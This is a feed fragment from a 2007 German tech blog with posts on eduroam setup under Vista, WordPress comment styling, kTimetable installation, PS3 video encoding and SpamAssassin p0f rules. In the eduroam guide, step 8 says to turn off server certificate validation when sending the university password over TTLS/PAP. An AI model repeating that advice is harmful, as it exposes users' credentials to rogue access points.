			<content:encoded><![CDATA[<p><a href="http://www.studivz.net/optout.php">StudiVZ &#8211; Einstellungen zur Verwendung meiner Daten</a>. </p>
<p>(sonst nur über 3 Links vom Kleingedruckten aus zu erreichen)</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2008/01/studivz-einstellungen-zur-verwendung-meiner-daten/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Suchbegriffe Dezember</title>
		<link>http://christian.samsel.name/2007/12/suchbegriffe-dezember/</link>
		<comments>http://christian.samsel.name/2007/12/suchbegriffe-dezember/#comments</comments>
		<pubDate>Sat, 22 Dec 2007 11:35:24 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Blog / Website]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2007/12/suchbegriffe-dezember/</guid>
		<description><![CDATA[So. Was macht man wenn man mal weniger zu tun, wie z.B. in den Ferien? Genau. Man schaut sich logfiles an. Ich habe mir mal die Statistiken meines Blogs genauer angeschaut, insbesondere die Suchbegriffe über die User diesen Blog gefunden haben. Hier meine Favoriten aus dem Monat Dezember: /etc/init.d/modules modul loeschen bad blocks entfernen partitionieren [...]]]></description>
			<content:encoded><![CDATA[<p>So. Was macht man wenn man mal weniger zu tun, wie z.B. in den Ferien? Genau. Man schaut sich logfiles an. Ich habe mir mal die Statistiken meines Blogs genauer angeschaut, insbesondere die Suchbegriffe über die User diesen Blog gefunden haben. Hier meine Favoriten aus dem Monat Dezember:</p>
<ul>
<li>/etc/init.d/modules modul loeschen</li>
<li>bad blocks entfernen</li>
<li>partitionieren trotz bad blocks</li>
<li>confixx password hacken</li>
<li>css server online stellen sv_lan 1</li>
<li>dd /dev/zero wie lange dauert es ein gb voll zu kopieren</li>
<li>horde webmail installieren auf xp</li>
<li>intel 3945 wlan hacken wie</li>
<li>intel(r) wireless wifi link 4965agn wlan hacken</li>
<li>openwrt mplayer</li>
<li>playstation dist upgrade</li>
<li>profil medizin oberstufe</li>
<li>rwth schwierigkeitsgrad studium</li>
<li>sshd banner in farbe</li>
<li>ubuntu an seine bedürfnisse anpassen</li>
<li>mount ubuntu ext3 console</li>
<li>install ubuntu on ntfs</li>
<li>ubuntu bash nachinstallieren</li>
<li>wie kann teamspeak linux entpacken</li>
</ul>
<p>Da weiß man eigentlich gar nicht genau, ob man sich mehr über die Frage an sich wundern soll oder warum gerade mein Blog bei solchen Suchbegriffen auftaucht. Insbesondere das häufige auftauchen von <em>ubuntu</em> macht mir sorgen bzw. es ärgert mich <img src='http://christian.samsel.name/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
Bemerkenswert ist auch das anscheinend viele User Fragen wortwörtlich bei Google eingeben. Das konnte ich auch bei den weniger interessanten Suchbegriffen feststellen.</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2007/12/suchbegriffe-dezember/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>eduroam mit Vista und Intel ProSet Wireless</title>
		<link>http://christian.samsel.name/2007/11/eduroam-mit-vista-intel-proset-wireless/</link>
		<comments>http://christian.samsel.name/2007/11/eduroam-mit-vista-intel-proset-wireless/#comments</comments>
		<pubDate>Sat, 24 Nov 2007 18:34:00 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Studium / Uni]]></category>
		<category><![CDATA[eduroam]]></category>
		<category><![CDATA[rwth]]></category>
		<category><![CDATA[vista]]></category>
		<category><![CDATA[vpn]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2007/11/eduroam-mit-vistaintel-proset-wireless/</guid>
		<description><![CDATA[Was ist überhaupt eduroam? eduroam which stands for Education Roaming, is a RADIUS-based infrastructure that uses 802.1X security technology to allow for inter-institutional roaming. Being part of eduroam allows users visiting another institution connected to eduroam to log on to the WLAN using the same credentials(username and password)the user would use if he were at [...]]]></description>
			<content:encoded><![CDATA[<p><img src="/files/eduroam_logo.gif" alt="eduroam logo" /><br />
Was ist überhaupt <em>eduroam</em>?</p>
<blockquote><p>
eduroam which stands for Education Roaming, is a RADIUS-based infrastructure that uses 802.1X security technology to allow for inter-institutional roaming. </p>
<p>Being part of eduroam allows users visiting another institution connected to eduroam to log on to the WLAN using the same credentials(username and password)the user would use if he were at his home institution. Depending on local policies at the visited institutions, eduroam participants may also have additional resources at their disposal. All this with a minimum administrative overhead.
</p></blockquote>
<p>(<em>Quelle: www.eduroam.org</em>)</p>
<p>Was bedeutet das? Kurz gesagt, man kann mit dem RWTH Login überall auf der Welt (naja ok, im moment hauptsächlich in Europa und Asien) WLANs der örtlichen Bildungsinstitutionen nutzen und das sogar ohne zusätzlichen Konfigurationsaufwand wie VPN Client oder ähnliches. <em>eduroam</em> soll MoPS mittelfristig ersetzen.<br />
Hier mal eine Anleitung für die Einrichtung des <em>eduroam</em> unter Vista, mithilfe von Intel ProSet Wireless.<br />
Zu erst muss Intel ProSet Wireless installiert werden, das sollte auf den meisten Centrino/Centrino Duo Notebooks die mit Vista ausgeliefert wurden, schon der Fall sein. Ansonsten hier nochmal Downloadlinks:<br />
<a href="http://ftp.us.dell.com/network/R171132.EXE">Dell Paket für Intel (R) Wireless WiFi Link 4965AGN, Intel(R) PRO/Wireless 3945ABG</a><br />
<a href="http://downloadcenter.intel.com/Detail_Desc.aspx?agr=N&#038;Inst=Yes&#038;ProductID=2259&#038;DwnldID=13004&#038;strOSs=154&#038;OSFullName=Windows Vista Business, 32-bit-Version&#038;lang=deu">Orginial Intel® PROSet/Wireless Network Connection Software for Windows Vista.</a><br />
<span id="more-117"></span><br />
Nach dem die Intel Software installiert wurde, sollte nun die nötige Zertifizierungskette installiert werden. Wie das geht steht <a href="http://www.rz.rwth-aachen.de/li/c/soj/lang/de/">hier</a>.</p>
<p>Hier nun eine Schritt für Schritt Anleitung zur Einrichtung von <em>eduroam</em>:</p>
<div style="clear: both;"><a href="/files/1.jpg" rel="lightbox" title="schritt 1"><img src="/files/1_klein.jpg"  alt="schritt 1" style="padding: 3px; margin: 5px; float: left;" /></a><strong>1. Schritt:</strong> Netzwerk- und Freigabecenter aufrufen und dort auf Drahtlosnetzwerke verwalten klicken</div>
<div style="clear: both;"><a href="/files/2.jpg" rel="lightbox" title="schritt 2"><img src="/files/2_klein.jpg"  alt="schritt 2" style="padding: 3px; margin: 5px; float: left;" /></a><strong>2. Schritt:</strong> Netzwerk hinzufügen</div>
<div style="clear: both;"><a href="/files/3.jpg" rel="lightbox" title="schritt 3"><img src="/files/3_klein.jpg"  alt="schritt 3" style="padding: 3px; margin: 5px; float: left;" /></a><strong>3. Schritt:</strong> Ein Netzwerkprofil manuell erstellen auswählen</div>
<div style="clear: both;"><a href="/files/4.jpg" rel="lightbox" title="schritt 4"><img src="/files/4_klein.jpg"  alt="schritt 4" style="padding: 3px; margin: 5px; float: left;" /></a><strong>4. Schritt:</strong> Dem Screenshot entsprechend die Eingabemaske ausfüllen:<br />Netzwerkname: <em>eduroam</em><br />Sicherheitstyp: <em>Keine Authentifizierung (Intel WPA Enterprise kann an diesem Punkt noch nicht ausgewählt werden)</em><br />Diese Verbindung automatisch starten auswählen</div>
<div style="clear: both;"><a href="/files/5.jpg" rel="lightbox" title="schritt 5"><img src="/files/5_klein.jpg"  alt="schritt 5" style="padding: 3px; margin: 5px; float: left;" /></a><strong>5. Schritt:</strong> Eigenschaften von eduroam aufrufen</div>
<div style="clear: both;"><a href="/files/6.jpg" rel="lightbox" title="schritt 6"><img src="/files/6_klein.jpg"  alt="schritt 6" style="padding: 3px; margin: 5px; float: left;" /></a><strong>6. Schritt:</strong> auf der 2. Registerkarte &#8220;Sicherheit&#8221; als Sicherheitstyp &#8220;Intel &#8211; WPA2 &#8211; Unternehmen&#8221; und als Verschlüsselungtyp &#8220;TKIP&#8221; auswählen, dann auf konfigurieren klicken. Das RZ empfiehlt AES, hiermit konnte ich jedoch manchmal keine Verbindung herstellen. TKIP funktionierte bis jetzt jedoch einwandfrei.</div>
<div style="clear: both;"><a href="/files/7.jpg" rel="lightbox" title="schritt 7"><img src="/files/7_klein.jpg"  alt="schritt 7" style="padding: 3px; margin: 5px; float: left;" /></a><strong>7. Schritt:</strong> Die Eingabemaske anhand des Screenshots ausfüllen:<br />Authentifizierungstyp: <em>TTLS</em><br />Authentifizierungsprotokoll: <em>PAP</em><br />Benutzeranmeldeinformationen: <em>Folgendes verwenden</em><br />Benutzername: <em>TIM Kennung + &#8220;@rwth-aachen.de&#8221; z.B. ab123456@rwth-aachen.de</em><br />Domäne: <em>leer lassen</em><br />Kennwort: <em>TIM Kennwort</em><br />Roaming-Identität: anonymous@rwth-aachen.de<br />danach auf weiter klicken</div>
<div style="clear: both;"><a href="/files/8.jpg" rel="lightbox" title="schritt 8"><img src="/files/8_klein.jpg"  alt="schritt 7" style="padding: 3px; margin: 5px; float: left;" /></a><strong>8. Schritt:</strong> Sollte das DFN Zertifikat installiert sein, nur Ok klicken. Falls nicht: vorher <em>Serverzertifikat validieren</em> deselektieren.</div>
<div style="clear: both;">Fertig. <em>eduroam</em> kann nun verwendet werden. Zumindest wenn ein entsprechender Access-Point in der Nähe ist. Ich habe bei mir noch eingestellt, dass nicht mehr automatisch mit MoPS verbunden werden soll. Damit nicht zwischen eduroam und mops &#8220;geroamt&#8221; wird, da dies kein Sinn macht. Es müsste ja über MoPS immer noch der VPN Client gestartet werden.</p>
<p>Weitere Infos:<br />
<a href="http://www.eduroam.org/">http://www.eduroam.org/</a><br />
<a href="http://www.rz.rwth-aachen.de/ca/c/oym/lang/de/">RWTH eduroam Allgemein</a><br />
<a href="http://www.rz.rwth-aachen.de/ca/c/pfd/lang/de/">RWTH eduroam Einstellungen</a><br />
<a href="http://www1.rz.rwth-aachen.de/kommunikation/betrieb/wlan/coverage/index.php?eduroam=Yes">RWTH eduoram Ausbau</a><br />
Die Anleitung darf frei modifiziert und kopiert werden. Über ein Link würde ich mich aber freuen!</div>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2007/11/eduroam-mit-vista-intel-proset-wireless/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>highlight blog author in comments</title>
		<link>http://christian.samsel.name/2007/10/highlight-blog-author-in-comments/</link>
		<comments>http://christian.samsel.name/2007/10/highlight-blog-author-in-comments/#comments</comments>
		<pubDate>Sat, 20 Oct 2007 11:52:30 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Verschiedenes]]></category>
		<category><![CDATA[comments]]></category>
		<category><![CDATA[themes]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2007/10/highlight-blog-author-in-comments/</guid>
		<description><![CDATA[entry written in English, because of the wider audience. I recently saw blogs in which comments written by the blog author are highlighted, e.g. http://blog.us.playstation.com. Cool feature, eh? It&#8217;s easy to realize that in your own WordPress blog. Just change the template comments.php a bit. Let&#8217;s say you have such a line in your comments.php: [...]]]></description>
			<content:encoded><![CDATA[<p><em>entry written in English, because of the wider audience.</em></p>
<p>I recently saw blogs in which comments written by the blog author are highlighted, e.g. <a href="http://blog.us.playstation.com">http://blog.us.playstation.com</a>. Cool feature, eh? It&#8217;s easy to realize that in your own WordPress blog. Just change the template <em>comments.php</em> a bit.</p>
<p>Let&#8217;s say you have such a line in your <em>comments.php</em>:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">&lt;li id=&quot;comment-<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$commentcount</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot; class=&quot;&lt; ?php comment_type('comment','trackback','pingback');&quot;&gt;
&lt;/li&gt;</pre></div></div>

<p>(example: blix theme)</p>
<p>Then you have to add the following to the class entry:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$comment</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">user_id</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">' comment-highlight'</span><span style="color: #339933;">;</span></pre></div></div>

<p>In this variant, all registered user are highlighted.<br />
<span id="more-116"></span><br />
You may just want to highlight the real author of the entry:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$comment</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">user_id</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$comment</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">comment_author_email</span> <span style="color: #339933;">==</span> get_the_author_email<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">' comment-highlight'</span><span style="color: #339933;">;</span></pre></div></div>

<p>You could also think of playing around with the user level to devide users even more.</p>
<p>If you don&#8217;t have a class statement, you&#8217;ll have to add it. For example:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">&lt;li id=&quot;comment-<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$commentcount</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot; if (!empty($comment-&gt;user_id)) echo 'class=\&quot;comment-highlight\&quot;'; ?&gt;&quot;&gt;
&lt;/li&gt;</pre></div></div>

<p>The finished line could look like this:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">&lt;li id=&quot;comment-<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$commentcount</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot; class=&quot;&lt; ?php comment_type('comment','trackback','pingback'); if (!empty($comment-&gt;user_id)) echo ' comment-highlight'; ?&gt;&quot;&gt;
&lt;/li&gt;</pre></div></div>

<p>after you modified the <em>comments.php</em>, you should add a fitting style to your css file depending on your template. I use the following:</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;"><span style="color: #6666ff;">.comment-highlight</span> <span style="color: #00AA00;">&#123;</span>
  <span style="color: #000000; font-weight: bold;">border-bottom</span><span style="color: #00AA00;">:</span> <span style="color: #cc00cc;">#A3C159</span> <span style="color: #993333;">solid</span> <span style="color: #933;">1px</span><span style="color: #00AA00;">;</span>
  <span style="color: #000000; font-weight: bold;">border-top</span><span style="color: #00AA00;">:</span> <span style="color: #cc00cc;">#A3C159</span> <span style="color: #993333;">solid</span> <span style="color: #933;">1px</span><span style="color: #00AA00;">;</span>
  <span style="color: #000000; font-weight: bold;">background</span><span style="color: #00AA00;">:</span> <span style="color: #cc00cc;">#FFFFF0</span><span style="color: #00AA00;">;</span>
  <span style="color: #00AA00;">&#125;</span></pre></div></div>

<p>A border and a changed background looks nice in my opinion and don&#8217;t emphasize the entry to much.</p>
<p>Have fun.</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2007/10/highlight-blog-author-in-comments/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Geschützt: E-Technik für RZ-Betreiber</title>
		<link>http://christian.samsel.name/2007/10/e-technik-fur-rzler/</link>
		<comments>http://christian.samsel.name/2007/10/e-technik-fur-rzler/#comments</comments>
		<pubDate>Wed, 17 Oct 2007 12:19:42 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Rootserver]]></category>
		<category><![CDATA[ipx]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2007/10/e-technik-fur-dummies/</guid>
		<description><![CDATA[Es gibt keine Kurzfassung, da dies ein geschützter Artikel ist.]]></description>
			<content:encoded><![CDATA[<form action="http://christian.samsel.name/wp-pass.php" method="post">
<p>Dieser Artikel ist durch ein Passwort geschützt. <br />Um ihn anzusehen, trage es bitte hier ein:</p>
<p><label for="pwbox-115">Passwort:<br />
<input name="post_password" id="pwbox-115" type="password" size="20" /></label><br />
<input type="submit" name="Submit" value="Senden" /></p></form>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2007/10/e-technik-fur-rzler/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Videos für die Playstation 3 encodieren unter Windows</title>
		<link>http://christian.samsel.name/2007/10/videos-fuer-ps3-encodieren-windows/</link>
		<comments>http://christian.samsel.name/2007/10/videos-fuer-ps3-encodieren-windows/#comments</comments>
		<pubDate>Tue, 16 Oct 2007 16:11:34 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Hardware / Gadgets]]></category>
		<category><![CDATA[aac]]></category>
		<category><![CDATA[h264]]></category>
		<category><![CDATA[mpeg4]]></category>
		<category><![CDATA[ps3]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2007/10/videos-fuer-ps3-encodieren-windows/</guid>
		<description><![CDATA[Nach mehreren Anfragen wie man am besten unter Windows Videos für die PS3 konvertiert, hier mal eine kleine Anleitung. Zum konvertieren nehme ich Red Kawa PS3 Video 9 (Download). Die Website ist zwar voller Werbung und das Programm ziemlich unübersichtlich, aber es funktioniert und ist kostenlos. Nach Download und Installation erstellt man im Programm erstmal [...]]]></description>
			<content:encoded><![CDATA[<p>Nach mehreren Anfragen wie man am besten unter Windows Videos für die PS3 konvertiert, hier mal eine kleine Anleitung. Zum konvertieren nehme ich Red Kawa PS3 Video 9 (<a href="http://www.redkawa.com/videoconverters/ps3video9/download/index.php">Download</a>). Die Website ist zwar voller Werbung und das Programm ziemlich unübersichtlich, aber es funktioniert und ist kostenlos.</p>
<p>Nach Download und Installation erstellt man im Programm erstmal ein neues Profil in der Registerkarte Settings, da die vorhandenen Profile leider nicht optimal sind.<br />
Hier meine persönlichen Empfehlungen: </p>
<blockquote><p>Encoder: PS3 2-Pass FFMPEG</p>
<p>Video:<br />
Codec: MPEG4-AVC<br />
Profile: High-Profile<br />
Level: 4.1<br />
Bitrate: 3 Mbit für DVDs, 8 Mbit für HD Material.<br />
Number of  Threads: 1, 2 o. 4. je nach Anzahl der CPU Kerne.</p>
<p>Audio:<br />
Codec: AAC-LC<br />
Bitrate: 160 kbps</p></blockquote>
<p>Sobald das erledigt ist, kann man bei Convert -> Current Conversion Dateien der Queue hinzufügen. Den Wizard würde ich nicht empfehlen.</p>
<p>UPDATE: Mit der Firmwareversion 2.10 die vor kurzem erschienen ist, unterstützt die PS3 nun auch DivX und Xvid. Auch eine AC3 Tonspur wird wiedergegeben. Ein Konvertieren der DivX Sammlung ist nun nicht mehr notwendig. Nero MediaHome streamt in der Einstellungen &#8220;nicht transcodieren&#8221; die meisten Dateien einwandfrei. Manche DivX/XviD features machen wohl noch Probleme, laut Heise.de z.B. GMC &#8211; global motion compensation. Möglicherweise ändert sich das aber noch. Immerhin wurde ja komplette DivX Kompatibilität versprochen.</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2007/10/videos-fuer-ps3-encodieren-windows/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>kTimetable 0.7a</title>
		<link>http://christian.samsel.name/2007/10/ktimetable-07a/</link>
		<comments>http://christian.samsel.name/2007/10/ktimetable-07a/#comments</comments>
		<pubDate>Tue, 16 Oct 2007 11:30:28 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Studium / Uni]]></category>
		<category><![CDATA[campus]]></category>
		<category><![CDATA[ktimetable]]></category>
		<category><![CDATA[rwth]]></category>
		<category><![CDATA[studenplan]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2007/10/ktimetable-2/</guid>
		<description><![CDATA[Sodele. Neues Semester, neuer Studenplan. Mit erschrecken habe ich festgestellt, dass ktimetable leider nicht mehr funktioniert. Der Übeltäter war aber schnell gefunden, die neue Spalte &#8220;LV-Nr&#8221; im Campus System. Also schnell den ktimetable Code bearbeitet. Hier nun die korrigierte Version. Wobei &#8220;Korrektur&#8221; wohl eher Hack heißen sollte Aber es funktioniert. Was ist ktimetable überhaupt? Mit [...]]]></description>
			<content:encoded><![CDATA[<p><a href="/files/ktimetable.png" rel="lightbox" title="ktimetable"><img src="/files/ktimetable_klein.png" alt="ktimetable" style="float: left; margin-right: 8px;" /></a>Sodele. Neues Semester, neuer Studenplan. Mit erschrecken habe ich festgestellt, dass ktimetable leider nicht mehr funktioniert. Der Übeltäter war aber schnell gefunden, die neue Spalte &#8220;LV-Nr&#8221; im Campus System. Also schnell den ktimetable Code bearbeitet. Hier nun die korrigierte Version. Wobei &#8220;Korrektur&#8221; wohl eher Hack heißen sollte <img src='http://christian.samsel.name/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  Aber es funktioniert.</p>
<p><em>Was ist ktimetable überhaupt?</em><br />
Mit ktimetable kann man sich ein übersichtlichen und ansehnlichen Stundenplan aus den RWTH Campus-Daten erstellen.</p>
<p><a href="/files/ktimetable-0.7a.tar.bz2">ktimetable-0.7a Download (~600 kb)</a></p>
<p>Kurzanleitung für Leute die zum ersten mal was von kTimetable hören <img src='http://christian.samsel.name/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  :</p>
<ol>
<li>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">wget</span> http:<span style="color: #000000; font-weight: bold;">//</span>christian.samsel.name<span style="color: #000000; font-weight: bold;">/</span>files<span style="color: #000000; font-weight: bold;">/</span>ktimetable-0.7a.tar.bz2
<span style="color: #c20cb9; font-weight: bold;">tar</span> xjvf ktimetable-0.7a.tar.bz2
<span style="color: #7a0874; font-weight: bold;">cd</span> ktimetable-0.7a
.<span style="color: #000000; font-weight: bold;">/</span>configure
<span style="color: #c20cb9; font-weight: bold;">make</span> 
<span style="color: #c20cb9; font-weight: bold;">make</span> <span style="color: #c20cb9; font-weight: bold;">install</span></pre></div></div>

</li>
<li>ktimetable starten</li>
<li>Studiengang u. Semester auswählen</li>
<li>Termine anzeigen anklicken</li>
<li>Veranstaltungen hinzufügen</li>
<li>Erzeugen anklicken</li>
</ol>
<p><em>kde-base/kdebase</em>, <em>x11-libs/qt</em> sollten installiert sein.<br />
Fertig.</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2007/10/ktimetable-07a/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>p0f für amavisd-new unter Gentoo (Teil 2)</title>
		<link>http://christian.samsel.name/2007/10/p0f-fur-amavisd-new-unter-gentoo-teil-2/</link>
		<comments>http://christian.samsel.name/2007/10/p0f-fur-amavisd-new-unter-gentoo-teil-2/#comments</comments>
		<pubDate>Fri, 05 Oct 2007 10:33:59 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Rootserver]]></category>
		<category><![CDATA[amavisd-new]]></category>
		<category><![CDATA[p0f]]></category>
		<category><![CDATA[spamassassin]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2007/10/p0f-fur-amavisd-new-unter-gentoo-teil-2/</guid>
		<description><![CDATA[So. Nach ein paar Tagen wollte ich dann auch mal den Erfolg von P0F überprüfen. Dazu habe ich logwatch benutzt. Mit folgendem Befehl bekommt man z.B. eine schöne Übersicht über amavisd-new: emerge -u logwatch logwatch.pl --detail High --service amavis --range '-3 days' Interessant ist in diesem Fall die Auflistung der Regeln, hier mal die P0F [...]]]></description>
			<content:encoded><![CDATA[<p>So. Nach ein paar Tagen wollte ich dann auch mal den Erfolg von P0F überprüfen. Dazu habe ich logwatch benutzt. Mit folgendem Befehl bekommt man z.B. eine schöne Übersicht über amavisd-new:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">emerge <span style="color: #660033;">-u</span> logwatch
logwatch.pl <span style="color: #660033;">--detail</span> High <span style="color: #660033;">--service</span> amavis <span style="color: #660033;">--range</span> <span style="color: #ff0000;">'-3 days'</span></pre></div></div>

<p>Interessant ist in diesem Fall die Auflistung der Regeln, hier mal die P0F Regeln ausgeschnitten:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"> Rank     Hits    <span style="color: #000000; font-weight: bold;">%</span> Msgs   <span style="color: #000000; font-weight: bold;">%</span> Spam    <span style="color: #000000; font-weight: bold;">%</span> Ham     Rule
 <span style="color: #660033;">----</span>     <span style="color: #660033;">----</span>    <span style="color: #660033;">------</span>   <span style="color: #660033;">------</span>    <span style="color: #660033;">-----</span>     <span style="color: #660033;">----</span>
    <span style="color: #000000;">7</span>      <span style="color: #000000;">508</span>    <span style="color: #000000;">88.81</span><span style="color: #000000; font-weight: bold;">%</span>   <span style="color: #000000;">123.90</span><span style="color: #000000; font-weight: bold;">%</span>   <span style="color: #000000;">8.64</span><span style="color: #000000; font-weight: bold;">%</span>     L_P0F_OS_WINDOWS_OTHER
   <span style="color: #000000;">16</span>      <span style="color: #000000;">196</span>    <span style="color: #000000;">34.27</span><span style="color: #000000; font-weight: bold;">%</span>   <span style="color: #000000;">47.80</span><span style="color: #000000; font-weight: bold;">%</span>   <span style="color: #000000;">35.80</span><span style="color: #000000; font-weight: bold;">%</span>     L_P0F_OS_UNKOWN
   <span style="color: #000000;">22</span>      <span style="color: #000000;">104</span>    <span style="color: #000000;">18.18</span><span style="color: #000000; font-weight: bold;">%</span>   <span style="color: #000000;">25.37</span><span style="color: #000000; font-weight: bold;">%</span>    <span style="color: #000000;">0.00</span><span style="color: #000000; font-weight: bold;">%</span>     L_P0F_OS_WINDOWSXP
   <span style="color: #000000;">27</span>       <span style="color: #000000;">84</span>    <span style="color: #000000;">14.69</span><span style="color: #000000; font-weight: bold;">%</span>   <span style="color: #000000;">20.49</span><span style="color: #000000; font-weight: bold;">%</span>   <span style="color: #000000;">11.11</span><span style="color: #000000; font-weight: bold;">%</span>     L_P0F_D_7_9
   <span style="color: #000000;">96</span>       <span style="color: #000000;">12</span>     <span style="color: #000000;">2.10</span><span style="color: #000000; font-weight: bold;">%</span>    <span style="color: #000000;">2.93</span><span style="color: #000000; font-weight: bold;">%</span>   <span style="color: #000000;">19.75</span><span style="color: #000000; font-weight: bold;">%</span>     L_P0F_OS_LINUX
  <span style="color: #000000;">138</span>        <span style="color: #000000;">4</span>     <span style="color: #000000;">0.70</span><span style="color: #000000; font-weight: bold;">%</span>    <span style="color: #000000;">0.98</span><span style="color: #000000; font-weight: bold;">%</span>   <span style="color: #000000;">12.35</span><span style="color: #000000; font-weight: bold;">%</span>     L_P0F_D_5_6</pre></div></div>

<p><span id="more-112"></span><br />
Nach diesen Zahlen habe ich die Regeln wie folgt angepasst:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">header L_P0F_OS_WINDOWSXP   X-Amavis-OS-Fingerprint =~ <span style="color: #000000; font-weight: bold;">/</span>^Windows XP<span style="color: #000000; font-weight: bold;">/</span>
score  L_P0F_OS_WINDOWSXP   <span style="color: #000000;">3.5</span>
header L_P0F_OS_WINDOWS_OTHER X-Amavis-OS-Fingerprint =~ <span style="color: #000000; font-weight: bold;">/</span>^Windows<span style="color: #7a0874; font-weight: bold;">&#40;</span>?<span style="color: #000000; font-weight: bold;">!</span> XP<span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">/</span>
score  L_P0F_OS_WINDOWS_OTHER <span style="color: #000000;">2.5</span>
header L_P0F_OS_UNKOWN  X-Amavis-OS-Fingerprint =~ <span style="color: #000000; font-weight: bold;">/</span>^UNKNOWN<span style="color: #000000; font-weight: bold;">/</span>
score  L_P0F_OS_UNKOWN  <span style="color: #000000;">0.2</span>
header L_P0F_OS_LINUX  X-Amavis-OS-Fingerprint =~ <span style="color: #000000; font-weight: bold;">/</span>^Linux<span style="color: #000000; font-weight: bold;">/</span>
score  L_P0F_OS_LINUX  -<span style="color: #000000;">0.5</span>
header L_P0F_OS_UNIX  X-Amavis-OS-Fingerprint =~ <span style="color: #000000; font-weight: bold;">/</span>^<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>Free<span style="color: #000000; font-weight: bold;">|</span>Open<span style="color: #000000; font-weight: bold;">|</span>Net<span style="color: #7a0874; font-weight: bold;">&#41;</span>BSD<span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">|</span>Solaris<span style="color: #000000; font-weight: bold;">|</span>HP-UX<span style="color: #000000; font-weight: bold;">|</span>Tru64<span style="color: #000000; font-weight: bold;">/</span>
score  L_P0F_OS_UNIX  -<span style="color: #000000;">1.0</span>
&nbsp;
